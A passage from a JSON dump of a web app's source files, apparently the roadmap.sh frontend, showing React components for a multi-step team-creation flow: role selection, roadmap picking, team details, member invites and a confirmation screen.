className=\"mb-0.5 block text-base font-medium leading-snug text-black\">\n                      {roadmapTitle}\n                    </span>\n                    {removedTopics.length > 0 || (topics && topics > 0) ? (\n                      <span className={'text-xs leading-none text-gray-400'}>\n                        {isCustomResource ? (\n                          <>\n                            Custom &middot; {topics} topic\n                            {topics && topics > 1 ? 's' : ''}\n                          </>\n                        ) : (\n                          <>\n                            {removedTopics.length} topic\n                            {removedTopics.length > 1 ? 's' : ''} removed\n                          </>\n                        )}\n                      </span>\n                    ) : (\n                      <span className=\"text-xs italic leading-none text-gray-400/60\">\n                        {isCustomResource\n                          ? 'Placeholder roadmap.'\n                          : 'No changes made ..'}\n                      </span>\n                    )}\n                  </div>\n\n                  {removingRoadmapId === resourceId && (\n                    <div\n                      className={\n                        'flex w-full items-center justify-end p-3 text-sm'\n                      }\n                    >\n                      <span className=\"text-xs text-gray-500\">\n                        Are you sure?{' '}\n                        <button\n                          onClick={() => onRemove(resourceId)}\n                          className=\"mx-0.5 text-red-500 underline underline-offset-1\"\n                        >\n                          Yes\n                        </button>{' '}\n                        <button\n                          onClick={() => setRemovingRoadmapId('')}\n                          className=\"text-red-500 underline underline-offset-1\"\n                        >\n                          No\n                        </button>\n                      </span>\n                    </div>\n                  )}\n                  {(!removingRoadmapId || removingRoadmapId !== resourceId) && (\n                    <div className={'flex w-full justify-between p-3'}>\n                      <button\n                        type=\"button\"\n                        className={\n                          'text-xs text-gray-500 underline hover:text-black focus:outline-hidden'\n                        }\n                        onClick={() => {\n                          if (isCustomResource) {\n                            window.open(\n                              `${\n                                import.meta.env.PUBLIC_EDITOR_APP_URL\n                              }/${resourceId}`,\n                              '_blank',\n                            );\n                            return;\n                          }\n                          setChangingRoadmapId(resourceId);\n                        }}\n                      >\n                        Customize\n                      </button>\n\n                      <button\n                        type=\"button\"\n                        className={\n                          'text-xs text-red-500 underline hover:text-black'\n                        }\n                        onClick={() => setRemovingRoadmapId(resourceId)}\n                      >\n                        Remove\n                      </button>\n                    </div>\n                  )}\n                </div>\n              );\n            },\n          )}\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/CreateTeam/RoleDropdown.tsx",
    "content": "import { ChevronDownIcon } from '../ReactIcons/ChevronDownIcon';\nimport { useRef, useState } from 'react';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\n\nconst allowedRoles = [\n  {\n    name: 'Admin',\n    value: 'admin',\n    description: 'Can do everything',\n  },\n  {\n    name: 'Manager',\n    value: 'manager',\n    description: 'Can manage team and skills',\n  },\n  {\n    name: 'Member',\n    value: 'member',\n    description: 'Can view team and skills',\n  },\n] as const;\n\nexport type AllowedRoles = (typeof allowedRoles)[number]['value'];\n\ntype RoleDropdownProps = {\n  className?: string;\n  selectedRole: string;\n  setSelectedRole: (role: AllowedRoles) => void;\n};\n\nexport function RoleDropdown(props: RoleDropdownProps) {\n  const { selectedRole, setSelectedRole, className = 'w-[120px]' } = props;\n  const dropdownRef = useRef(null);\n\n  const [activeRoleIndex, setActiveRoleIndex] = useState(0);\n  const [isMenuOpen, setIsMenuOpen] = useState(false);\n\n  useOutsideClick(dropdownRef, () => {\n    setIsMenuOpen(false);\n  });\n\n  return (\n    <div className={`relative ${className}`}>\n      <button\n        type={'button'}\n        onKeyDown={(e) => {\n          const isUpOrDown = e.key === 'ArrowUp' || e.key === 'ArrowDown';\n          if (isUpOrDown && !isMenuOpen) {\n            e.preventDefault();\n            setIsMenuOpen(true);\n            return;\n          }\n\n          const isEnter = e.key === 'Enter';\n          if (isEnter && isMenuOpen) {\n            e.preventDefault();\n            setSelectedRole(allowedRoles[activeRoleIndex].value);\n            setIsMenuOpen(false);\n            return;\n          }\n\n          if (e.key === 'ArrowDown') {\n            e.preventDefault();\n            setActiveRoleIndex((prev) => {\n              const nextIndex = prev + 1;\n              if (nextIndex >= allowedRoles.length) {\n                return 0;\n              }\n              return nextIndex;\n            });\n          }\n          if (e.key === 'ArrowUp') {\n            e.preventDefault();\n            setActiveRoleIndex((prev) => {\n              const nextIndex = prev - 1;\n              if (nextIndex < 0) {\n                return allowedRoles.length - 1;\n              }\n              return nextIndex;\n            });\n          }\n        }}\n        onClick={() => setIsMenuOpen(!isMenuOpen)}\n        className={`flex h-full w-full cursor-default items-center justify-between rounded-md border px-4 ${\n          isMenuOpen ? 'border-gray-300 bg-gray-100' : ''\n        }`}\n      >\n        <span\n          className={`capitalize`}>\n          {selectedRole || 'Select Role'}\n        </span>\n        <ChevronDownIcon\n          className={'relative top-0.5 ml-2 h-4 w-4 text-gray-400'}\n        />\n      </button>\n\n      {isMenuOpen && (\n        <div\n          className=\"absolute z-10 mt-1 w-[200px] rounded-md border bg-white shadow-md\"\n          ref={dropdownRef}\n        >\n          <div\n            className=\"py-1\"\n            role=\"menu\"\n            aria-orientation=\"vertical\"\n            aria-labelledby=\"options-menu\"\n          >\n            {allowedRoles.map((allowedRole, roleCounter) => (\n              <button\n                key={allowedRole.value}\n                type={'button'}\n                className={`w-full cursor-default px-4 py-2 text-left text-sm text-gray-700 hover:bg-gray-100 hover:text-gray-900 ${\n                  roleCounter === activeRoleIndex ? 'bg-gray-100' : 'bg-white'\n                }`}\n                role=\"menuitem\"\n                onClick={() => {\n                  setIsMenuOpen(false);\n                  setSelectedRole(allowedRole.value);\n                }}\n              >\n                <span className=\"block font-medium\">{allowedRole.name}</span>\n                <span className=\"block text-xs text-gray-400\">\n                  {allowedRole.description}\n                </span>\n              </button>\n            ))}\n          </div>\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/CreateTeam/SelectRoadmapModal.tsx",
    "content": "import { useEffect, useRef, useState } from 'react';\nimport { useKeydown } from '../../hooks/use-keydown';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport type { PageType } from '../CommandMenu/CommandMenu';\nimport type { TeamResourceConfig } from './RoadmapSelector';\nimport { SelectRoadmapModalItem } from './SelectRoadmapModalItem';\nimport { XIcon } from 'lucide-react';\n\nexport type SelectRoadmapModalProps = {\n  teamId: string;\n  allRoadmaps: PageType[];\n  onClose: () => void;\n  teamResourceConfig: string[];\n  onRoadmapAdd: (roadmapId: string) => void;\n  onRoadmapRemove: (roadmapId: string) => void;\n};\n\nexport function SelectRoadmapModal(props: SelectRoadmapModalProps) {\n  const {\n    onClose,\n    allRoadmaps,\n    onRoadmapAdd,\n    onRoadmapRemove,\n    teamResourceConfig,\n  } = props;\n  const popupBodyEl = useRef<HTMLDivElement>(null);\n  const searchInputEl = useRef<HTMLInputElement>(null);\n\n  const [searchResults, setSearchResults] = useState<PageType[]>(allRoadmaps);\n  const [searchText, setSearchText] = useState('');\n\n  useKeydown('Escape', () => {\n    onClose();\n  });\n\n  useOutsideClick(popupBodyEl, () => {\n    onClose();\n  });\n\n  useEffect(() => {\n    if (!searchInputEl.current) {\n      return;\n    }\n\n    searchInputEl.current.focus();\n  }, [searchInputEl]);\n\n  useEffect(() => {\n    if (searchText.length === 0) {\n      setSearchResults(allRoadmaps);\n      return;\n    }\n\n    const searchResults = allRoadmaps.filter((roadmap) => {\n      return (\n        roadmap.title.toLowerCase().includes(searchText.toLowerCase()) ||\n        roadmap.id.toLowerCase().includes(searchText.toLowerCase())\n      );\n    });\n    setSearchResults(searchResults);\n  }, [searchText, allRoadmaps]);\n\n  const roleBasedRoadmaps = searchResults.filter((roadmap) =>\n    roadmap?.metadata?.tags?.includes('role-roadmap'),\n  );\n  const skillBasedRoadmaps = searchResults.filter((roadmap) =>\n    roadmap?.metadata?.tags?.includes('skill-roadmap'),\n  );\n\n  return (\n    <div className=\"fixed left-0 right-0 top-0 z-100 h-full items-center justify-center overflow-y-auto overflow-x-hidden overscroll-contain bg-black/50\">\n      <div className=\"relative mx-auto h-full w-full max-w-2xl p-4 md:h-auto\">\n        <div\n          ref={popupBodyEl}\n          className=\"popup-body relative mt-4 overflow-hidden rounded-lg bg-white shadow-sm\"\n        >\n          <button\n            type=\"button\"\n            className=\"popup-close absolute right-2.5 top-3 ml-auto inline-flex items-center rounded-lg bg-transparent p-1.5 text-sm text-gray-400 hover:bg-gray-100 hover:text-gray-900\"\n            onClick={onClose}\n          >\n            <XIcon className=\"h-4 w-4\" />\n            <span className=\"sr-only\">Close modal</span>\n          </button>\n          <input\n            ref={searchInputEl}\n            type=\"text\"\n            placeholder=\"Search roadmaps\"\n            className=\"block w-full border-b px-5 pb-3.5 pt-4 outline-hidden placeholder:text-gray-400\"\n            value={searchText}\n            onInput={(e) => setSearchText((e.target as HTMLInputElement).value)}\n          />\n          <div className=\"min-h-[200px] p-4\">\n            <span className=\"block pb-3 text-xs uppercase text-gray-400\">\n              Role Based Roadmaps\n            </span>\n            {roleBasedRoadmaps.length === 0 && (\n              <p className=\"mb-1 flex h-full items-start text-sm italic text-gray-400\"></p>\n            )}\n            {roleBasedRoadmaps.length > 0 && (\n              <div className=\"mb-5 flex flex-wrap items-center gap-2\">\n                {roleBasedRoadmaps.map((roadmap) => {\n                  const isSelected = teamResourceConfig.includes(roadmap.id);\n\n                  return (\n                    <SelectRoadmapModalItem\n                      key={roadmap.id}\n                      title={roadmap.title}\n                      isSelected={isSelected}\n                      onClick={() => {\n                        if (isSelected) {\n                          onRoadmapRemove(roadmap.id);\n                        } else {\n                          onRoadmapAdd(roadmap.id);\n                        }\n                      }}\n                    />\n                  );\n                })}\n              </div>\n            )}\n            <span className=\"block pb-3 text-xs uppercase text-gray-400\">\n              Skill Based Roadmaps\n            </span>\n            <div className=\"flex flex-wrap items-center gap-2\">\n              {skillBasedRoadmaps.map((roadmap) => {\n                const isSelected = teamResourceConfig.includes(roadmap.id);\n\n                return (\n                  <SelectRoadmapModalItem\n                    key={roadmap.id}\n                    title={roadmap.title}\n                    isSelected={isSelected}\n                    onClick={() => {\n                      if (isSelected) {\n                        onRoadmapRemove(roadmap.id);\n                      } else {\n                        onRoadmapAdd(roadmap.id);\n                      }\n                    }}\n                  />\n                );\n              })}\n            </div>\n          </div>\n\n          <div className=\"border-t border-t-yellow-300 bg-yellow-100 px-4 py-3 text-sm text-yellow-900\">\n            <h2 className=\"mb-1 text-base font-medium text-yellow-900\">\n              More Official Roadmaps Coming Soon\n            </h2>\n            <p>\n              We are currently adding more of our official roadmaps to this\n              list. If you don't see the roadmap you are looking for, please\n              check back later.\n            </p>\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/CreateTeam/SelectRoadmapModalItem.tsx",
    "content": "import type { SelectRoadmapModalProps } from './SelectRoadmapModal';\n\ntype SelectRoadmapModalItemProps = {\n  title: string;\n  isSelected: boolean;\n  onClick: () => void;\n};\n\nexport function SelectRoadmapModalItem(props: SelectRoadmapModalItemProps) {\n  const { isSelected, onClick, title } = props;\n  return (\n    <button\n      className={`group flex min-h-[35px] items-stretch overflow-hidden rounded-md text-sm ${\n        !isSelected\n          ? 'border border-gray-300 hover:bg-gray-100'\n          : 'bg-black text-white transition-colors hover:bg-gray-700'\n      }`}\n      onClick={onClick}\n    >\n      <span className=\"flex items-center px-3\">{title}</span>\n      {isSelected && (\n        <span className=\"flex items-center bg-gray-700 px-3 text-xs text-white transition-colors\">\n          &times;\n        </span>\n      )}\n\n      {!isSelected && (\n        <span className=\"flex items-center bg-gray-100 px-2.5 text-xs text-gray-500\">\n          +\n        </span>\n      )}\n    </button>\n  );\n}\n"
  },
  {
    "path": "src/components/CreateTeam/Step0.tsx",
    "content": "import type { TeamDocument } from './CreateTeamForm';\nimport { httpPut } from '../../lib/http';\nimport { useState } from 'react';\nimport { NextButton } from './NextButton';\nimport { BuildingIcon } from '../ReactIcons/BuildingIcon.tsx';\nimport { UsersIcon } from '../ReactIcons/UsersIcon.tsx';\n\nexport const validTeamTypes = [\n  {\n    value: 'company',\n    label: 'Company',\n    icon: BuildingIcon,\n    description:\n      'Track the skills and learning progress of the tech team at your company',\n  },\n  {\n    value: 'study_group',\n    label: 'Study Group',\n    icon: UsersIcon,\n    description:\n      'Invite your friends or course-mates and track your learning progress together',\n  },\n] as const;\n\nexport type ValidTeamType = (typeof validTeamTypes)[number]['value'];\n\ntype Step0Props = {\n  team?: TeamDocument;\n  selectedTeamType: ValidTeamType;\n  setSelectedTeamType: (teamType: ValidTeamType) => void;\n  onStepComplete: () => void;\n};\n\nexport function Step0(props: Step0Props) {\n  const { team, selectedTeamType, onStepComplete, setSelectedTeamType } = props;\n  const [isLoading, setIsLoading] = useState(false);\n  const [error, setError] = useState<string>();\n\n  async function onNextClick() {\n    if (!team) {\n      onStepComplete();\n      return;\n    }\n\n    setIsLoading(true);\n    setError('');\n\n    const { response, error } = await httpPut(\n      `${import.meta.env.PUBLIC_API_URL}/v1-update-team/${team._id}`,\n      {\n        name: team.name,\n        website: team?.links?.website || undefined,\n        type: selectedTeamType,\n        gitHubUrl: team?.links?.github || undefined,\n        ...(selectedTeamType === 'company' && {\n          teamSize: team.teamSize,\n          linkedInUrl: team?.links?.linkedIn || undefined,\n        }),\n      },\n    );\n\n    if (error || !response) {\n      setIsLoading(false);\n      setError(error?.message || 'Something went wrong');\n      return;\n    }\n\n    setIsLoading(false);\n    setError('');\n    onStepComplete();\n  }\n\n  return (\n    <>\n      <div className={'flex flex-col gap-3 sm:flex-row'}>\n        {validTeamTypes.map((validTeamType) => (\n          <button\n            key={validTeamType.value}\n            className={`flex grow flex-col items-center rounded-lg border px-5 pb-10 pt-12 ${\n              validTeamType.value == selectedTeamType\n                ? 'border-gray-400 bg-gray-100'\n                : 'border-gray-300 hover:border-gray-400 hover:bg-gray-50'\n            }`}\n            onClick={() => setSelectedTeamType(validTeamType.value)}\n          >\n            {\n              <validTeamType.icon\n                className={`mb-3 h-12 w-12 opacity-10 ${\n                  validTeamType.value === selectedTeamType ? 'opacity-100' : ''\n                }`}\n              />\n            }\n            <span className=\"mb-2 block text-2xl font-bold\">\n              {validTeamType.label}\n            </span>\n            <span className=\"text-sm leading-[21px] text-gray-500\">\n              {validTeamType.description}\n            </span>\n          </button>\n        ))}\n      </div>\n\n      {/*Error message*/}\n      {error && <div className=\"mt-4 text-sm text-red-500\">{error}</div>}\n\n      <div className=\"mt-4 flex flex-col items-stretch justify-between gap-2 md:flex-row md:items-center\">\n        <a\n          href=\"/account\"\n          className={\n            'rounded-md border border-red-400 bg-white px-8 py-2 text-center text-red-500'\n          }\n        >\n          Cancel\n        </a>\n        <NextButton\n          type={'button'}\n          onClick={onNextClick}\n          isLoading={isLoading}\n          text={'Next Step'}\n          loadingMessage={'Updating team ..'}\n        />\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/CreateTeam/Step1.tsx",
    "content": "import { type FormEvent, useEffect, useRef, useState } from 'react';\nimport { type AppError, httpPost, httpPut } from '../../lib/http';\nimport type { ValidTeamType } from './Step0';\nimport type { TeamDocument } from './CreateTeamForm';\nimport { NextButton } from './NextButton';\n\nexport const validTeamSizes = [\n  '1-5',\n  '6-10',\n  '11-25',\n  '26-50',\n  '51-100',\n  '101-200',\n  '201-500',\n  '501-1000',\n  '1000+',\n] as const;\n\nexport type ValidTeamSize = (typeof validTeamSizes)[number];\n\ntype Step1Props = {\n  team?: TeamDocument;\n  selectedTeamType: ValidTeamType;\n  onStepComplete: (team: TeamDocument) => void;\n  onBack: () => void;\n};\n\nexport function Step1(props: Step1Props) {\n  const { team, selectedTeamType, onBack, onStepComplete } = props;\n  const [error, setError] = useState('');\n\n  const nameRef = useRef<HTMLElement>(null);\n\n  useEffect(() => {\n    if (!nameRef.current) {\n      return;\n    }\n\n    nameRef.current.focus();\n  }, [nameRef]);\n\n  const [isLoading, setIsLoading] = useState(false);\n\n  const [name, setName] = useState(team?.name || '');\n  const [website, setWebsite] = useState(team?.links?.website || '');\n  const [linkedInUrl, setLinkedInUrl] = useState(team?.links?.linkedIn || '');\n  const [gitHubUrl, setGitHubUrl] = useState(team?.links?.github || '');\n  const [teamSize, setTeamSize] = useState<ValidTeamSize>(\n    team?.teamSize || ('' as any),\n  );\n\n  const handleSubmit = async (e: FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n    setIsLoading(true);\n    if (!name || !selectedTeamType) {\n      setIsLoading(false);\n      return;\n    }\n\n    let response: TeamDocument | undefined;\n    let error: AppError | undefined;\n\n    if (!team?._id) {\n      ({ response, error } = await httpPost(\n        `${import.meta.env.PUBLIC_API_URL}/v1-create-team`,\n        {\n          name,\n          website: website || undefined,\n          type: selectedTeamType,\n          gitHubUrl: gitHubUrl || undefined,\n          ...(selectedTeamType === 'company' && {\n            teamSize,\n            linkedInUrl: linkedInUrl || undefined,\n          }),\n          roadmapIds: [],\n          bestPracticeIds: [],\n        },\n      ));\n\n      if (error || !response?._id) {\n        setError(error?.message || 'Something went wrong. Please try again.');\n        setIsLoading(false);\n        return;\n      }\n\n      onStepComplete(response as TeamDocument);\n    } else {\n      ({ response, error } = await httpPut(\n        `${import.meta.env.PUBLIC_API_URL}/v1-update-team/${team._id}`,\n        {\n          name,\n          website: website || undefined,\n          type: selectedTeamType,\n          gitHubUrl: gitHubUrl || undefined,\n          ...(selectedTeamType === 'company' && {\n            teamSize,\n            linkedInUrl: linkedInUrl || undefined,\n          }),\n        },\n      ));\n\n      if (error || (response as any)?.status !== 'ok') {\n        setError(error?.message || 'Something went wrong. Please try again.');\n        setIsLoading(false);\n        return;\n      }\n\n      onStepComplete({\n        ...team,\n        name,\n        _id: team._id,\n        links: {\n          website: website || team?.links?.website,\n          linkedIn: linkedInUrl || team?.links?.linkedIn,\n          github: gitHubUrl || team?.links?.github,\n        },\n        type: selectedTeamType,\n        teamSize: teamSize!,\n      });\n    }\n  };\n\n  return (\n    <form onSubmit={handleSubmit}>\n      <div className=\"flex w-full flex-col\">\n        <label\n          htmlFor=\"name\"\n          className='text-sm leading-none text-slate-500 after:text-red-400 after:content-[\"*\"]'\n        >\n          {selectedTeamType === 'company' ? 'Company Name' : 'Group Name'}\n        </label>\n        <input\n          type=\"text\"\n          name=\"name\"\n          ref={nameRef as any}\n          autoFocus={true}\n          id=\"name\"\n          className=\"mt-2 block w-full rounded-lg border border-gray-300 px-3 py-2 shadow-xs outline-hidden placeholder:text-gray-400 focus:ring-2 focus:ring-black focus:ring-offset-1\"\n          placeholder=\"Roadmap Inc.\"\n          disabled={isLoading}\n          required\n          value={name}\n          onInput={(e) => setName((e.target as HTMLInputElement).value)}\n        />\n      </div>\n\n      {selectedTeamType === 'company' && (\n        <div className=\"mt-4 flex w-full flex-col\">\n          <label\n            htmlFor=\"website\"\n            className='text-sm leading-none text-slate-500 after:text-red-400 after:content-[\"*\"]'\n          >\n            Website\n          </label>\n          <input\n            type=\"url\"\n            name=\"website\"\n            required\n            id=\"website\"\n            className=\"mt-2 block w-full rounded-lg border border-gray-300 px-3 py-2 shadow-xs outline-hidden placeholder:text-gray-400 focus:ring-2 focus:ring-black focus:ring-offset-1\"\n            placeholder=\"https://roadmap.sh\"\n            disabled={isLoading}\n            value={website}\n            onInput={(e) => setWebsite((e.target as HTMLInputElement).value)}\n          />\n        </div>\n      )}\n\n      {selectedTeamType === 'company' && (\n        <div className=\"mt-4 flex w-full flex-col\">\n          <label\n            htmlFor=\"website\"\n            className=\"text-sm leading-none text-slate-500\"\n          >\n            Company LinkedIn URL\n          </label>\n          <input\n            type=\"url\"\n            name=\"website\"\n            id=\"website\"\n            className=\"mt-2 block w-full rounded-lg border border-gray-300 px-3 py-2 shadow-xs outline-hidden placeholder:text-gray-400 focus:ring-2 focus:ring-black focus:ring-offset-1\"\n            placeholder=\"https://www.linkedin.com/company/roadmapsh\"\n            disabled={isLoading}\n            value={linkedInUrl}\n            onInput={(e) =>\n              setLinkedInUrl((e.target as HTMLInputElement).value)\n            }\n          />\n        </div>\n      )}\n\n      <div className=\"mt-4 flex w-full flex-col\">\n        <label\n          htmlFor=\"website\"\n          className=\"text-sm leading-none text-slate-500\"\n        >\n          GitHub Organization URL\n        </label>\n        <input\n          type=\"url\"\n          name=\"website\"\n          id=\"website\"\n          className=\"mt-2 block w-full rounded-lg border border-gray-300 px-3 py-2 shadow-xs outline-hidden placeholder:text-gray-400 focus:ring-2 focus:ring-black focus:ring-offset-1\"\n          placeholder=\"https://github.com/roadmapsh\"\n          disabled={isLoading}\n          value={gitHubUrl}\n          onInput={(e) => setGitHubUrl((e.target as HTMLInputElement).value)}\n        />\n      </div>\n\n      {selectedTeamType === 'company' && (\n        <div className=\"mt-4 flex w-full flex-col\">\n          <label\n            htmlFor=\"team-size\"\n            className='text-sm leading-none text-slate-500 after:text-red-400 after:content-[\"*\"]'\n          >\n            Tech Team Size\n          </label>\n          <select\n            name=\"team-size\"\n            id=\"team-size\"\n            className=\"mt-2 block w-full rounded-lg border border-gray-300 px-3 py-2 shadow-xs outline-hidden placeholder:text-gray-400 focus:ring-2 focus:ring-black focus:ring-offset-1\"\n            required={selectedTeamType === 'company'}\n            disabled={isLoading}\n            value={teamSize}\n            onChange={(e) =>\n              setTeamSize((e.target as HTMLSelectElement).value as any)\n            }\n          >\n            <option value=\"\">Select team size</option>\n            {validTeamSizes.map((size) => (\n              <option key={size} value={size}>\n                {size} people\n              </option>\n            ))}\n          </select>\n        </div>\n      )}\n\n      {error && (\n        <div className=\"mt-4 flex w-full flex-col\">\n          <span className=\"text-sm text-red-500\">{error}</span>\n        </div>\n      )}\n\n      <div className=\"mt-4 flex flex-col items-center justify-between gap-2 md:flex-row\">\n        <button\n          type=\"button\"\n          onClick={onBack}\n          className={\n            'rounded-md border border-red-400 bg-white px-4 py-2 text-red-500'\n          }\n        >\n          <span className=\"mr-1\">&larr;</span>\n          Previous Step\n        </button>\n        <NextButton\n          isLoading={isLoading}\n          text={'Next Step'}\n          type={'submit'}\n          loadingMessage={'Creating team ..'}\n        />\n      </div>\n    </form>\n  );\n}\n"
  },
  {
    "path": "src/components/CreateTeam/Step2.tsx",
    "content": "import { RoadmapSelector, type TeamResourceConfig } from './RoadmapSelector';\nimport type { TeamDocument } from './CreateTeamForm';\n\ntype Step2Props = {\n  team: TeamDocument;\n  teamResourceConfig: TeamResourceConfig;\n  setTeamResourceConfig: (config: TeamResourceConfig) => void;\n  onBack: () => void;\n  onNext: () => void;\n};\n\nexport function Step2(props: Step2Props) {\n  const { team, onBack, onNext, teamResourceConfig, setTeamResourceConfig } =\n    props;\n\n  return (\n    <>\n      <div className=\"mt-4 flex w-full flex-col\">\n        <div className=\"mb-1 mt-2\">\n          <h2 className=\"mb-1 text-lg font-bold md:mb-1.5 md:text-2xl\">\n            Select Roadmaps\n          </h2>\n          <p className=\"text-sm text-gray-700\">\n            You can always add and customize your roadmaps later.\n          </p>\n        </div>\n\n        <RoadmapSelector\n          teamId={team._id!}\n          teamResources={teamResourceConfig}\n          setTeamResources={setTeamResourceConfig}\n        />\n      </div>\n\n      <div className=\"mt-4 flex flex-col items-stretch justify-between gap-2 md:flex-row md:items-center\">\n        <button\n          type=\"button\"\n          onClick={onBack}\n          className={\n            'rounded-md border border-red-400 bg-white px-4 py-2 text-red-500'\n          }\n        >\n          <span className=\"mr-1\">&larr;</span>\n          Previous Step\n        </button>\n\n        <div className={'flex gap-2'}>\n          <button\n            type=\"button\"\n            onClick={onNext}\n            disabled={teamResourceConfig.length !== 0}\n            className={\n              'grow rounded-md border border-gray-300 bg-white px-4 py-2 text-gray-500 hover:border-gray-400 hover:text-black md:flex-auto disabled:opacity-50 disabled:pointer-events-none'\n            }\n          >\n            Skip for Now\n          </button>\n          <button\n            type=\"submit\"\n            disabled={teamResourceConfig.length === 0}\n            onClick={onNext}\n            className={\n              'rounded-md border bg-black px-4 py-2 text-white disabled:opacity-50'\n            }\n          >\n            Next Step\n            <span className=\"ml-1\">&rarr;</span>\n          </button>\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/CreateTeam/Step3.tsx",
    "content": "import type { TeamDocument } from './CreateTeamForm';\nimport { NextButton } from './NextButton';\nimport { TrashIcon } from '../ReactIcons/TrashIcon';\nimport { type AllowedRoles, RoleDropdown } from './RoleDropdown';\nimport { useEffect, useRef, useState } from 'react';\nimport { httpPost } from '../../lib/http';\n\ntype Step3Props = {\n  team?: TeamDocument;\n  onNext: () => void;\n  onBack: () => void;\n};\n\ntype InviteType = {\n  id: string;\n  email: string;\n  role: AllowedRoles;\n};\n\nfunction generateId() {\n  return `${new Date().getTime()}`;\n}\n\nexport function Step3(props: Step3Props) {\n  const { onNext, onBack, team } = props;\n\n  const [error, setError] = useState('');\n  const [invitingTeam, setInvitingTeam] = useState(false);\n  const emailInputRef = useRef(null);\n\n  const [users, setUsers] = useState<InviteType[]>([\n    {\n      id: generateId(),\n      email: '',\n      role: 'member',\n    },\n  ]);\n\n  async function inviteTeam() {\n    setInvitingTeam(true);\n    const { error, response } = await httpPost(\n      `${import.meta.env.PUBLIC_API_URL}/v1-invite-team/${team?._id}`,\n      {\n        members: users,\n      }\n    );\n\n    if (error || !response) {\n      setError(error?.message || 'Something went wrong');\n      setInvitingTeam(false);\n\n      return;\n    }\n\n    onNext();\n  }\n\n  function focusLastEmailInput() {\n    if (!emailInputRef.current) {\n      return;\n    }\n\n    (emailInputRef.current as HTMLInputElement).focus();\n  }\n\n  function onSubmit(e: any) {\n    e.preventDefault();\n\n    inviteTeam().finally(() => null);\n  }\n\n  useEffect(() => {\n    focusLastEmailInput();\n  }, [users.length]);\n\n  return (\n    <form className=\"mt-4 flex w-full flex-col\" onSubmit={onSubmit}>\n      <div className=\"mb-1 mt-2\">\n        <h2 className=\"mb-1 md:mb-2 text-lg md:text-2xl font-bold\">Invite your Team</h2>\n        <p className=\"text-sm text-gray-700\">\n          Use the form below to invite your team members to your team. You can\n          also invite them later.\n        </p>\n      </div>\n      <div className=\"mt-4 flex flex-col gap-1\">\n        {users.map((user, userCounter) => {\n          return (\n            <div className=\"flex flex-col sm:flex-row gap-2\" key={user.id}>\n              <input\n                ref={userCounter === users.length - 1 ? emailInputRef : null}\n                autoFocus={true}\n                type=\"email\"\n                name=\"email\"\n                required\n                id=\"email\"\n                placeholder=\"Email\"\n                value={user.email}\n                onChange={(e) => {\n                  const newUsers = users.map((u) => {\n                    if (u.id === user.id) {\n                      return {\n                        ...u,\n                        email: (e.target as HTMLInputElement)?.value,\n                      };\n                    }\n\n                    return u;\n                  });\n\n                  setUsers(newUsers);\n                }}\n                className=\"grow rounded-md border border-gray-200 bg-white px-4 py-2 text-gray-900\"\n              />\n              <RoleDropdown\n                selectedRole={user.role}\n                setSelectedRole={(role: AllowedRoles) => {\n                  const newUsers = users.map((u) => {\n                    if (u.id === user.id) {\n                      return {\n                        ...u,\n                        role,\n                      };\n                    }\n\n                    return u;\n                  });\n\n                  setUsers(newUsers);\n                }}\n              />\n              <button\n                disabled={users.length <= 1}\n                type=\"button\"\n                className=\"rounded-md border border-red-200 bg-white px-4 py-2 text-red-500 hover:bg-red-100 disabled:opacity-30\"\n                onClick={() => {\n                  setUsers(users.filter((u) => u.id !== user.id));\n                }}\n              >\n                <TrashIcon className=\"h-5 w-5\" />\n              </button>\n            </div>\n          );\n        })}\n      </div>\n      {users.length <= 30 && (\n        <button\n          onClick={() => {\n            setUsers([\n              ...users,\n              { id: generateId(), email: '', role: 'member' },\n            ]);\n          }}\n          type=\"button\"\n          className=\"mt-2 rounded-md border border-dashed border-gray-400 py-2 text-sm text-gray-500 hover:border-gray-500 hover:text-gray-800\"\n        >\n          + Add another\n        </button>\n      )}\n\n      {error && (\n        <div className=\"mt-2 text-sm font-medium text-red-500\" role=\"alert\">\n          {error}\n        </div>\n      )}\n\n      <div className=\"mt-4 flex flex-col sm:flex-row items-stretch md:items-center justify-between gap-2\">\n        <button\n          type=\"button\"\n          onClick={onBack}\n          className={\n            'rounded-md border border-red-400 bg-white px-4 py-2 text-red-500'\n          }\n        >\n          <span className=\"mr-1\">&larr;</span>\n          Previous Step\n        </button>\n        <div className={'flex gap-2'}>\n          <button\n            type=\"button\"\n            onClick={onNext}\n            disabled={users.filter((u) => u.email).length !== 0}\n            className={\n              'rounded-md grow md:flex-auto border border-gray-300 bg-white px-4 py-2 text-gray-500 hover:border-gray-400 hover:text-black disabled:opacity-50 disabled:pointer-events-none'\n            }\n          >\n            Skip for Now\n          </button>\n          <NextButton\n            type={'submit'}\n            isLoading={invitingTeam}\n            text={'Send Invites'}\n            loadingMessage={'Updating team ..'}\n            hasNextArrow={false}\n          />\n        </div>\n      </div>\n    </form>\n  );\n}\n"
  },
  {
    "path": "src/components/CreateTeam/Step4.tsx",
    "content": "import { CheckIcon } from '../ReactIcons/CheckIcon';\nimport type { TeamDocument } from './CreateTeamForm';\n\ntype Step4Props = {\n  team: TeamDocument;\n};\n\nexport function Step4({ team }: Step4Props) {\n  return (\n    <div className=\"mt-4 flex flex-col rounded-xl border py-12 text-center\">\n      <div className=\"mb-1 flex flex-col items-center\">\n        <CheckIcon additionalClasses={'h-14 w-14 mb-4 opacity-100'} />\n        <h2 className=\"mb-2 text-2xl font-bold\">Team Created</h2>\n        <p className=\"text-sm text-gray-700\">\n          Your team has been created. Happy learning!\n        </p>\n        <a\n          href={`/team/activity?t=${team._id}`}\n          className=\"mt-4 rounded-md bg-black px-5 py-1.5 text-sm text-white\"\n        >\n          View Team\n        </a>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/CreateTeam/UpdateTeamResourceModal.tsx",
